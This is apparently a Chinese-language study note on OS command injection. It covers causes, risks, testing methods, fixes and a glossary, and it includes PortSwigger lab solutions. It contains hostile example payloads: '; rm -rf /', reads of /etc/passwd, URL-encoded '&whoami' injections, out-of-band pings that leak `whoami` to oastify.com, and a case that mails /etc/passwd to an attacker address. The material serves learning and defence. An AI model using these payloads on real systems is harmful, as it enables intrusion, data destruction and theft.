前提概要
本文章主要用于分享OS Command漏洞基础学习路径,以下是对OS Command的一些个人解析,请大家结合参考其他文章中的相关信息进行归纳和补充。
OS Command漏洞描述
OS Command(操作系统命令)漏洞,也常被称为命令注入漏洞,是指应用程序在处理用户输入或其他外部输入时,没有对输入的内容进行充分的验证和过滤,导致攻击者可以将恶意的操作系统命令注入到应用程序所执行的命令中,从而让服务器执行非预期的操作系统命令,进而获取敏感信息、控制服务器或进行其他恶意操作。
简单来说就是,允许攻击者在运⾏应⽤程序的服务器上执⾏操作系统命令。
OS Command漏洞场景
常见场景如下:
- 文件操作场景:应用程序接收用户输入来执行文件相关命令,如删除、移动文件等。若输入过滤不严,攻击者输入恶意文件名(如
; rm -rf /
),可能导致服务器文件被非法删除或篡改。- 系统信息获取场景:程序调用系统命令获取服务器信息,如 CPU、内存使用情况。攻击者可注入恶意命令,在获取系统信息同时获取敏感数据,如
cat /etc/passwd
获取用户信息。- 网络操作场景:进行网络诊断(如 ping、traceroute)时,用户输入直接参与命令构建。攻击者构造恶意输入,可使服务器执行非预期网络操作,甚至发起网络攻击。
- 软件安装与配置场景:应用执行软件安装或配置变更的系统命令时,若对用户输入校验不足,攻击者可注入恶意命令,安装恶意软件或修改系统配置。
- 数据库相关操作场景:数据库备份、恢复等操作调用系统命令时,若未严格验证输入,攻击者可利用漏洞执行恶意命令,破坏数据库或获取数据。
OS Command 漏洞原理
OS Command(操作系统命令)漏洞原理是应用程序在调用操作系统命令执行功能时,将用户可控的输入,直接拼接到系统命令中,且未对输入进行充分的验证、过滤和转义。这使得攻击者能够构造特殊输入,注入恶意操作系统命令,改变原本命令的执行逻辑,让服务器执行非预期的命令,从而获取敏感信息、控制服务器或造成其他危害。
OS Command漏洞风险评级
以下从几个方面来分析其风险评级的依据:
1. 漏洞利用的可能性:
在存在 OS Command 漏洞的系统中,只要攻击者能够找到可以输入数据的接口(如表单输入、URL 参数等),就有很大的概率构造恶意输入来触发漏洞。而且对于熟悉操作系统命令的攻击者来说,构造有效攻击载荷的难度相对较低,不需要非常复杂的技术手段,所以利用可能性较高。
2. 潜在影响的严重性:
- 系统控制层面:攻击者利用该漏洞可以在服务器上执行任意操作系统命令,这意味着他们可能获得服务器的完全控制权,例如创建具有管理员权限的新用户、安装恶意软件、篡改系统文件等,严重威胁系统的安全性和稳定性。
- 数据安全层面:能够读取、修改甚至删除服务器上的敏感数据,如用户的个人信息、财务数据、机密文档等,导致数据泄露和数据完整性受损,可能给企业或用户带来巨大的经济损失和声誉损害。
- 网络安全层面:攻击者还可能利用服务器作为跳板,对内部网络中的其他系统发起攻击,扩大攻击范围,造成更广泛的安全影响,如进行端口扫描、DDoS 攻击等。
3. 修复的难度和成本:
虽然从技术角度来说,修复 OS Command 漏洞的方法相对明确,即对用户输入进行严格的验证和过滤,但在实际应用中,可能涉及到对大量代码的修改和测试,尤其是在一些复杂的大型系统中,找到所有存在漏洞的代码位置并进行修复可能需要耗费较多的人力和时间成本
4. 安全标准和行业共识:
在常见的安全标准和规范中,如 OWASP(开放式 Web 应用程序安全项目)的 TOP 10 漏洞列表,命令注入漏洞通常被列为高风险漏洞。行业普遍认为这类漏洞对系统安全构成严重威胁,需要尽快修复
综上所述,OS Command 漏洞风险常为高风险或严重风险。其利用可能性高,攻击者找到输入接口就能构造恶意输入触发。潜在影响严重,可致系统被控制、数据泄露、网络受攻击。修复成本较高,在复杂系统中涉及大量代码修改和测试。且在常见安全标准里,这类漏洞也多被列为高风险,因此整体风险级别高。
OS Command漏洞的危害
1. 服务器被控制:攻击者利用该漏洞执行任意操作系统命令,可能获取服务器的管理员权限。例如,通过注入创建新用户或提升已有用户权限的命令,攻击者能够远程登录服务器,随意进行文件操作、安装软件等行为,完全掌控服务器的运行。
2. 数据泄露与篡改:攻击者可借助恶意命令读取服务器上的敏感文件,如数据库配置文件、用户账号密码文件、财务数据文件等,造成敏感信息的泄露。同时,也能对重要数据文件进行篡改、删除,破坏数据的完整性和可用性,给企业或个人带来巨大损失。
3. 恶意软件植入:攻击者可以执行下载和安装恶意软件的命令,在服务器上植入木马、病毒、后门程序等。这些恶意软件可能会进一步窃取信息、监控系统活动,或者将服务器作为跳板,对其他网络设备或系统发起攻击。
4. 网络攻击跳板:控制了存在漏洞的服务器后,攻击者可以利用该服务器作为网络攻击的跳板。例如,执行端口扫描命令,探测内部网络的结构和开放端口,为后续的深入攻击做准备;或者发起分布式拒绝服务(DDoS)攻击,影响其他目标系统的正常运行。
5. 服务中断与业务影响:攻击者执行的恶意命令可能会终止关键系统服务、删除重要系统文件或占用大量系统资源,导致服务器无法正常提供服务,使依赖该服务器的业务系统瘫痪,影响企业的正常运营,造成经济损失和声誉损害。
6. 权限提升:攻击者可能通过命令注入来绕过系统的访问控制机制,实现权限提升。原本只具有普通用户权限的攻击者,可能获取到系统级别的权限,从而能够执行更多危险操作,进一步扩大攻击范围和影响。
等等......
OS Command漏洞形式
- 直接拼接用户输入到命令中:应用程序在构建操作系统命令时,直接将用户输入的内容未经任何过滤或验证就拼接到命令字符串中。
- 不完整的输入验证:应用程序对用户输入进行了一定的验证,但验证规则不严格或存在绕过方式。比如只验证输入是否包含某些特定的非法字符,而没有考虑到特殊的命令分隔符或转义字符。例如,应用程序可能只检查输入中是否包含
;
,但攻击者可以使用其他方式来分隔命令,如在 Windows 系统中使用&
- 使用默认或可预测的命令参数:应用程序使用固定的命令模板,但其中部分参数可以由用户控制,且这些参数没有得到有效保护。例如一个文件处理程序,命令模板为
mv source_file destination_folder
,用户可以制source_file
和destination_folder
的值。如果用户输入恶意的文件名,
- 未正确处理特殊字符和转义:在构建命令时,没有正确处理特殊字符(如引号、转义字符等),使得攻击者可以利用这些字符改变命令的执行逻辑。例如在 shell 命令中,如果没有正确转义双引号,攻击者可以注入恶意命令。
通过环境变量注入命令:应用程序在执行命令时,依赖于某些环境变量的值,而这些环境变量可以被攻击者控制。例如,一个程序调用
env
命令来获取环境变量信息,并且在后续处理中使用了某些环境变量的值来构建其他命令。攻击者可以通过修改环境变量,注入恶意命令
OS Command漏洞验证
黑盒测试:不需要了解应用程序的源代码,主要通过向应用程序输入特殊构造的数据,观察系统的响应来判断是否存在漏洞。
- 测试思路
寻找应用程序中可能存在命令注入的输入点,如表单输入框、URL 参数、HTTP 请求头字段等。向这些输入点提交特殊构造的测试用例,观察应用程序的响应,判断是否执行了注入的命令。- 常见测试用例
- 回显测试:构造能够产生明显输出结果的命令,如在 Linux 系统中使用
id
命令查看当前用户信息,在 Windows 系统中使用whoami
命令查看当前用户。- 延时测试:构造能够使系统产生延时的命令,如在 Linux 系统中使用
sleep
命令或ping -c命令,在 Windows 系统中使用ping -n
命令。如果应用程序在输入延时命令后响应时间明显增加,则可能存在命令注入漏洞。- 文件操作测试:构造文件操作命令,如在 Linux 系统中使用
touch
命令创建文件,在 Windows 系统中使用echo
命令创建文件。然后检查系统中是否生成了相应的文件。- 示例步骤
- 找到输入点:例如一个 Web 应用中有一个输入框用于输入 IP 地址,应用程序会对输入的 IP 地址执行
ping
命令。- 构造测试用例:输入
127.0.0.1; id
(Linux 系统)或127.0.0.1 & whoami
(Windows 系统)。- 观察响应:如果应用程序的输出中包含了
id
或whoami
命令的执行结果,则说明存在命令注入漏洞。
OS Command漏洞利用
&:shell命令分隔符,是命令独立,依次执行;类似符合还有|、||、;、$
PortSwigger靶场
1.
提示说,想要通关需要通过执行whoami获取当前用户名称
&whoami %26whomi #url编码
通关成功
2.
&ping 127.0.0.1 -c 10& #将此内容进行url编码 %26ping+127.0.0.1+-c+10%26 #url编码结果,插入到指定位置
3.
&whoami > /var/www/images/CY.txt & %26whoami+>+/var/www/images/CY.txt+%26
4.
&ping eewpqratg3wkcmklexbdgr250w6nudi2.oastify.com& #ping一下刚才获取的域名,注意:获取域名只需要点击一次,使用一次后自动失效 %26ping+eewpqratg3wkcmklexbdgr250w6nudi2.oastify.com%26 #url编码
5.
&ping `whoami`.v3z6f8za5kl113923e0u58rmpdv4jv7k.oastify.com & %26ping+`whoami`.v3z6f8za5kl113923e0u58rmpdv4jv7k.oastify.com+%26
OS Command漏洞修复
- 输入处理:对用户输入严格验证,采用白名单机制,只允许合法字符,过滤危险符号,避免恶意构造命令。
- 执行方式:不直接拼接用户输入到命令中,使用安全的 API 或函数,将命令和参数分开传递。
- 权限管控:遵循最小权限原则,让执行命令的进程权限最低,减少危害范围。
- 系统维护:及时更新系统和软件,修复已知漏洞;做好日志监控,察觉异常命令执行。
- 安全检测:开展代码审计和漏洞扫描,排查潜在风险。
OS Command典型案例
曾经有一个小型在线商城,其用户反馈功能允许用户输入邮箱地址,以便工作人员回复。后台代码使用
sendmail
命令来发送邮件,代码大致为open(MAIL, "| /usr/sbin/sendmail $adr");
,其中$adr
是用户输入的邮箱地址。攻击者发现了这个漏洞后,在邮箱地址输入框中输入; cat /etc/passwd | mail hack@example.jp
。结果,服务器执行命令时,在发送邮件的同时,还执行了cat /etc/passwd | mail hack@example.jp
,将服务器上存储用户账户信息的/etc/passwd
文件内容发送到了攻击者指定的邮箱hack@example.jp
,导致用户账户信息等敏感数据泄露。
OS命令注入漏洞相关技术名词
- Shell 命令(Shell Command):操作系统中通过命令行界面(Shell)执行的指令,如在 Linux 中的
ls
、cd
、rm
命令,Windows 中的dir
、cd
、del
命令等。攻击者利用漏洞注入的就是这类命令。- 漏洞利用(Exploitation):攻击者利用系统或应用程序中的漏洞,通过精心构造的输入或操作,来实现对系统的非法访问、数据窃取、破坏等恶意目的的过程。
- 有效载荷(Payload):攻击者注入的恶意代码或命令,用于实现特定的攻击目标,如获取系统信息、创建新用户、上传恶意文件等。
- 命令拼接(Command Concatenation):攻击者将多个命令通过特定的字符(如
;
、&
、&&
、||
等)连接在一起,使应用程序在执行时按顺序执行多个命令,从而达到更复杂的攻击目的。- 输入验证(Input Validation):应用程序对用户输入进行检查和验证的过程,以确保输入符合预期的格式和范围,防止恶意输入导致漏洞被利用。缺乏有效的输入验证是 OS 命令注入漏洞存在的主要原因之一。
- 过滤(Filtering):在应用程序中对用户输入的字符或字符串进行检查和筛选,去除或替换可能导致安全风险的字符,以防止命令注入等攻击。但如果过滤不严格或存在绕过方法,仍可能存在漏洞。
- 转义(Escaping):将特殊字符转换为其字面意义,使其在命令执行环境中不被解释为命令的一部分。正确的转义可以防止攻击者利用特殊字符来篡改命令。
- 权限提升(Privilege Escalation):攻击者利用漏洞,将普通用户的权限提升到更高权限,如管理员权限,从而能够对系统进行更深入的控制和操作。
- 远程代码执行(Remote Code Execution,RCE):攻击者通过漏洞在远程目标系统上执行任意代码的攻击方式。OS 命令注入漏洞如果被成功利用,可能导致远程代码执行,使攻击者完全控制目标系统。
- 命令注入点:应用程序中接收用户输入并将其直接或间接用于执行操作系统命令的位置,是攻击者寻找和利用 OS 命令注入漏洞的关键入口。
- 环境变量注入:攻击者尝试通过修改或注入环境变量来影响操作系统命令的执行。例如,通过修改
PATH
环境变量,使系统在执行命令时优先使用攻击者指定的恶意程序。- 管道符(Pipe):在操作系统中用于连接多个命令,将前一个命令的输出作为后一个命令的输入的符号,如
|
。攻击者可能利用管道符来组合多个命令,实现更复杂的攻击逻辑。- 通配符(Wildcard):如
*
和?
,在命令中用于匹配文件名或其他字符串。攻击者可能利用通配符来扩大命令的操作范围,例如删除或读取多个文件。- 反引号(Backtick):在一些操作系统中,反引号用于执行命令替换,即将反引号内的命令执行结果作为字符串嵌入到其他命令中。攻击者可以利用这一特性注入恶意命令。
- 命令注入脚本:攻击者编写的用于利用 OS 命令注入漏洞的脚本,通常包含构造的恶意命令和针对特定漏洞的利用逻辑,可以自动化攻击过程。
- 字符编码绕过:攻击者利用不同的字符编码方式,将恶意字符转换为看似合法的字符,绕过输入验证机制,从而实现命令注入。
- HTTP 参数污染(HPP):通过在 HTTP 请求参数中注入恶意命令,利用服务器对参数处理的漏洞来触发 OS 命令注入。例如,在 URL 参数或 POST 请求参数中插入恶意命令。
- 文件包含漏洞与命令注入结合:当应用程序存在文件包含漏洞时,攻击者可以通过包含一个包含恶意 OS 命令的文件,从而实现命令注入。这种结合利用方式可以绕过一些针对直接命令注入的防护机制。
- 沙盒逃逸:如果应用程序在沙盒环境中执行命令,攻击者试图突破沙盒的限制,利用沙盒内的漏洞执行外部命令或访问沙盒外的系统资源,进而实现 OS 命令注入攻击。
- 命令注入模糊测试(Fuzzing):通过向目标应用程序输入大量的随机数据或精心构造的畸形数据,以发现可能存在的命令注入漏洞。这种方法可以帮助安全测试人员在不了解应用程序内部逻辑的情况下,快速发现潜在的安全问题。
- 逻辑炸弹(Logic Bomb):攻击者在注入的命令中设置特定的逻辑条件,当条件满足时触发恶意行为。例如,设置在特定日期或时间执行删除系统文件等破坏性操作的命令。
- 反弹 Shell(Reverse Shell):攻击者利用命令注入漏洞,在目标系统上启动一个反向连接的 Shell,使得攻击者能够从自己的计算机远程控制目标系统。这是一种常见的利用方式,用于获取目标系统的交互权限。
- 注入链(Injection Chain):多个不同类型的注入漏洞或攻击技术相互结合,形成一条攻击链来实现更复杂的攻击目标。例如,先利用 SQL 注入获取数据库中的用户信息,再利用这些信息结合 OS 命令注入漏洞进一步攻击系统。
- 双写绕过(Double Write Bypass):攻击者通过将敏感字符进行双写,绕过一些简单的字符过滤机制。例如,将
;
写成;;
,在某些情况下,应用程序可能会过滤掉一个;
,但留下另一个;
,从而使攻击者能够成功注入命令。- NULL 字节截断(Null Byte Truncation):在一些编程语言或系统中,
NULL
字节(\0
)被用作字符串的结束标志。攻击者可以利用这一特性,在输入中插入NULL
字节,截断后续的安全检查或过滤逻辑,从而实现命令注入。- 格式化字符串漏洞与命令注入:当应用程序存在格式化字符串漏洞时,攻击者可以通过精心构造格式化字符串,将恶意命令作为参数传递给系统函数,进而触发 OS 命令注入。这种漏洞通常与 C、C++ 等编程语言中的格式化函数(如
printf
)有关。- 动态链接库(DLL)劫持与命令注入:在 Windows 系统中,攻击者可以通过替换或劫持应用程序加载的动态链接库,将恶意代码注入到应用程序的执行流程中。结合 OS 命令注入漏洞,攻击者可以在动态链接库中执行恶意命令,获取系统权限。
- 整数溢出(Integer Overflow):当应用程序对用户输入的整数进行处理时,如果没有正确验证和处理整数的范围,可能导致整数溢出。攻击者可以利用整数溢出漏洞来修改程序的内存布局或控制程序的执行流程,进而实现 OS 命令注入攻击。
- 符号链接攻击(Symlink Attack):攻击者创建符号链接指向系统的敏感文件或目录,然后利用应用程序对符号链接的处理不当,结合命令注入漏洞,实现对敏感文件的读取、写入或执行等操作。例如,将符号链接指向
/etc/passwd
文件,然后通过命令注入尝试读取该文件的内容。
未完成任务:
1.死亡之ping靶场
2.第六题drupal组建漏洞,实验如何执行phpinfo()命令,如何植入后门
3.漏洞top10内容
4. Python脚本
5.web漏洞检查项文件内容
6.复习之前学过的文档、作业、实验、服务